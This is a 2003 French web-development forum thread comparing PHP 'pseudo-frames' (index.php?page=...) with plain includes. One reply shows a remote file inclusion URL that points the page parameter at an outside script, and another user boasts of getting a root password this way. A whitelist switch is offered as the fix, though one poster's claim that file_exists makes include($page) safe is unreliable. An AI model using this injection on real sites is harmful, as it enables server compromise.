Vous êtes plus pseudos frames ou includes ?

Marsh Posté le 23-08-2003 à 15:07:18

Pour la construction d'un site web en language dynamique, j'utilise les pseudos frames, mais je commence à me dire que je devrait peut être plus utiliser ce style de methode :

<?php include('haut.php'); ?>
<?php include('bas.php'); ?>
etc, je detail pas, vous voyez de quoi je veux parler...

Etant debutant, j'aimerai connaitre les avantages/inconveniants pour chacunes des deux methodes (y en a t'il d'autre ??) et dans quel cas les utilisées

Merci :hello:

Message édité par KdZ' le 23-08-2003 à 15:13:21

Reply

Marsh Posté le 23-08-2003 à 15:07:18

Reply

Marsh Posté le 23-08-2003 à 15:08:32

:heink:

Les includes, c'est pas une façon d'implémenter les pseudo frames ?

Message édité par kadreg le 23-08-2003 à 15:09:06

---------------
brisez les rêves des gens, il en restera toujours quelque chose... -- laissez moi troller sur discu !

Reply

Marsh Posté le 23-08-2003 à 15:09:07

kadreg a écrit :

:heink:

j'ai du mal me faire comprendre

je parle pour les pseudos frames des url de type : /index.php?page=contact.php

pour la methode "include" (<-- si je puis dire...)
la page contact.php conservera le design et tout et tout...

Message édité par KdZ' le 23-08-2003 à 15:11:15

Reply

Marsh Posté le 23-08-2003 à 15:24:57

:lol: :lol:

justement c'est ça des pseudos-frames, la seule différence c'est le passage des variables url qui peuvent être explicites ou pas

bref ton sondage rime à rien :sweat:

pour ton exemple, je vois pas l'intérêt de faire un include si le design est attaché à la page inclue, autant directement foutre le fichier à la racine du site....

Message édité par Sh@rdar le 23-08-2003 à 15:26:22

---------------
La musique c'est comme la bouffe, tu te souviens du restaurant dans lequel t'as bien mangé 20 ans plus tôt, mais pas du sandwich d'il y a 5 minutes :o - Plugin pour winamp ©Harkonnen : http://harko.free.fr/soft

Reply

Marsh Posté le 23-08-2003 à 15:26:44

je vois ce que tu veut dire
Bah en faite le fait de garder la page en .php sans rien derriere fait plus propre

En gros toutes les pages auront un model du style :

Code :

<?
include('header1.php');
include('header2.php');
include('header3.php');
?>
// Ma page ...
<?
include('footer1.php');
include('footer2.php');
?>

Perso je prefere les pseudo frames, mais ce n'est qu'une question de gout. Sinon les "includes" sont beaucoup plus propre dasn l'url.

Reply

Marsh Posté le 23-08-2003 à 15:27:10

[:psywalk]

---------------
from here and there -- \o__________________________________ -- la révolution de la terre, en silence

Reply

Marsh Posté le 23-08-2003 à 15:46:03

[:shurik_tt_bis]

---------------
La musique c'est comme la bouffe, tu te souviens du restaurant dans lequel t'as bien mangé 20 ans plus tôt, mais pas du sandwich d'il y a 5 minutes :o - Plugin pour winamp ©Harkonnen : http://harko.free.fr/soft

Reply

Marsh Posté le 23-08-2003 à 15:48:43

et pis les trucs du genre

Code :

/index.php?page=contact.php

sont un peu dangereux, faut faire gaffe de bien coder le truc, sinon y'a des malins qui font ça :

Code :

/index.php?page=http://monserveur.com/monScriptQuiFoutLaMerde.php

---------------
W3C : Leading the Web to Its Full Potential... - Membre du W3C l33t club

Reply

Marsh Posté le 23-08-2003 à 15:50:21

Le Castor a écrit :

sont un peu dangereux, faut faire gaffe de bien coder le truc, sinon y'a des malins qui font ça :

Code :

/index.php?page=http://monserveur.com/monScriptQuiFoutLaMerde.php

[:ddr555] :sweat:

[:psywalk]

---------------
from here and there -- \o__________________________________ -- la révolution de la terre, en silence

Reply

Marsh Posté le 23-08-2003 à 16:00:30

simogeo a écrit :

[:ddr555] :sweat:

[:psywalk]

Le pire c'est que j'ai capté ce truc sur plein de sites webs ! C'est grave ! Après tu fait c'que tu veut sur le serveur

---------------
W3C : Leading the Web to Its Full Potential... - Membre du W3C l33t club

Reply

Marsh Posté le 23-08-2003 à 16:00:30

Reply

Marsh Posté le 23-08-2003 à 16:02:50

Le Castor a écrit :

Le pire c'est que j'ai capté ce truc sur plein de sites webs ! C'est grave ! Après tu fait c'que tu veut sur le serveur

j'ai recuperer un mot de passe root comme ca

---------------
lecteur mp3 yvele's smilies jeux de fille

Reply

Marsh Posté le 23-08-2003 à 16:29:14

Le Castor a écrit :

Le pire c'est que j'ai capté ce truc sur plein de sites webs ! C'est grave ! Après tu fait c'que tu veut sur le serveur

je sais :whistle:

---------------
from here and there -- \o__________________________________ -- la révolution de la terre, en silence

Reply

Marsh Posté le 23-08-2003 à 17:06:43

le miens est "normalement" securisé (pim.asso.fr)

Reply

Marsh Posté le 23-08-2003 à 20:17:21

www.monsite.php/index.php?page=accueil

dans le index.php tu fais un switch avec les pages possibles de ton site:

switch($page){
case "accueil":include("accueil.php" );break;
case "contact":include("contact.html" );break;
...
}

evidemment si tu fais un "include($page)" t'es pas dans la merde

Reply

Marsh Posté le 23-08-2003 à 20:34:47

aspegic500mg a écrit :

www.monsite.php/index.php?page=accueil

dans le index.php tu fais un switch avec les pages possibles de ton site:

switch($page){
case "accueil":include("accueil.php" );break;
case "contact":include("contact.html" );break;
...
}

evidemment si tu fais un "include($page)" t'es pas dans la merde

ce pourtant ce que j'ai fait (le 2eme choix) mais c securiser quand meme :na: (file_existe)